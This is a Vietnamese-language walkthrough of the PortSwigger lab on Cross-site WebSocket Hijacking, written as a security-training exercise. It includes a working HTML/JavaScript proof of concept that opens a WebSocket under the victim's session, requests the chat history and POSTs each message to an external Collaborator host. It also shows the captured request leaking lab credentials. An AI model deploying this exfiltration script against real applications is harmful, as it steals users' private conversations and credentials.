What is Cross-site WebSocket Hijacking?
Là một lỗ hổng liên quan đến lỗ hổng CSRF trên Port Swigger - WebSocket handshake. Lỗ hổng này xảy ra khi các handshake request dựa trên các HTTP cookie để quản lý session và không có các token hoặc các giá trị không thể dự đoán.
Kẻ tấn công có thể tạo ra một trang web độc hại để thiết lập cross-site WebSocket connection đến ứng dụng bị lỗ hổng. Ứng dụng sẽ xử lý kết nối đó dựa trên session của nạn nhân.
Trang web của kẻ tấn công sau đó có thể gửi bất kỳ các thông điệp nào đến server và đọc được các thông điệp được trả về từ server. Khác với CSRF, kiểu tấn công này cho phép kẻ tấn công có được tương tác hai chiều với ứng dụng bị tấn công.
Lab: Cross-site WebSocket Hijacking
Bài lab là một cửa hàng online sử dụng WebSocket cho chat bot. Mục tiêu là trích xuất lịch sử trò chuyện để lấy credential của nạn nhân.
Truy cập vào tính năng chat thì có handshake request như sau:
GET /chat HTTP/2
Host: 0a8d0041046a8337806a1248006e0084.web-security-academy.net
Connection: Upgrade
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0
Upgrade: websocket
Origin: https://0a8d0041046a8337806a1248006e0084.web-security-academy.net
Sec-Websocket-Version: 13
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8
Cookie: session=ayxwwmydjY3WSrOnQb8o8BzovDV3MoaW
Sec-Websocket-Key: 4GEXsnJuc/+yKLSQBMQfKg==
Đồng thời, client cũng gửi lên một message:
READY
Server trả về một message như sau:
{
"user": "CONNECTED",
"content": "-- Now chatting with Hal Pline --"
}
Thử chat hello
thì client gửi lên message như sau:
{
"message": "hello"
}
Server phản hồi ba message như sau:
{
"user": "You",
"content": "hello"
}
TYPING
{
"user": "Hal Pline",
"content": "I am the fount of all knowledge, but sorry I don't know that."
}
Reload trang /chat
thì client vẫn sẽ gửi một READY
message và server trả về danh sách các message trước đó kèm theo một CONNECTED
message:
{
"user": "You",
"content": "hello"
}
{
"user": "Hal Pline",
"content": "I am the fount of all knowledge, but sorry I don't know that."
}
{
"user": "CONNECTED",
"content": "-- Now chatting with Hal Pline --"
}
Như vậy, nếu client gửi một READY
message thì server sẽ trả về lịch sử trò chuyện.
Tất cả các message trên đều thông qua URL wss://0a8d0041046a8337806a1248006e0084.web-security-academy.net/chat
. Thử xóa cookie và reload trang /chat
thì header của response có dạng như sau:
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
Set-Cookie: session=neDg0Cnvf4Hm1JsHm3p23GmLjSlSR3hk; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 3358
Có thể thấy, cookie session
sử dụng thuộc tính SameSite=None
1 nên ta có thể tấn công CSRF vào handshake request nhằm mở kết nối đến WebSocket server dưới danh nghĩa của người dùng và truy xuất lịch sử trò chuyện.
Xây dựng PoC như sau:
<html>
<body>
<script>
const ws = new WebSocket("wss://0a8d0041046a8337806a1248006e0084.web-security-academy.net/chat");
ws.onopen = function (event) {
console.log('Connected to WebSocket server');
const message = "READY";
console.log(`Sending ${message}`);
ws.send(message);
};
ws.onmessage = function (event) {
const attackerServer = "https://npgx2wqjos7ejranyfyayta950brzond.oastify.com";
fetch(attackerServer, {
body: `Server's message: ${event.data}`,
method: 'POST'
});
}
</script>
</body>
</html>
Phân tích PoC trên:
- Ta mở một kết nối WebSocket đến URL
wss://0a8d0041046a8337806a1248006e0084.web-security-academy.net/chat
. - Lắng nghe sự kiện mở kết nối thông qua method
onopen
. - Sau khi mở kết nối thành công thì ta gửi
READY
message cho server. - Lắng nghe các message từ server thông qua method
onmessage
. Khi nhận được message thì sẽ gửi POST request có chứa nội dung message đến subdomain của Burp Suite Collaborator. Chúng ta cũng có thể gửi GET request đến exploit server.
Lưu PoC trên ở exploit server của lab rồi nhấn View exploit
thì nhận được các HTTP request có chứa lịch sử trò chuyện của session hiện tại đến Collaborator server.
Nhấn Deliver exploit to victim
thì ta thu được lịch sử trò chuyện khác và có một request có nội dung như sau:
POST / HTTP/1.1
Host: npgx2wqjos7ejranyfyayta950brzond.oastify.com
Connection: keep-alive
Content-Length: 100
sec-ch-ua: "Google Chrome";v="119", "Chromium";v="119", "Not?A_Brand";v="24"
sec-ch-ua-platform: "Linux"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: https://exploit-0a5c002504ce83b680ec117001ae00d9.exploit-server.net
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://exploit-0a5c002504ce83b680ec117001ae00d9.exploit-server.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Server's message: {"user":"Hal Pline","content":"No problem carlos, it's hzzw9ioyx7al16un4a6w"}
Có thể thấy, message có chứa username là carlos
và password là hzzw9ioyx7al16un4a6w
.
Related
list
from outgoing([[Port Swigger - Cross-Site WebSocket Hijacking]])
sort file.ctime asc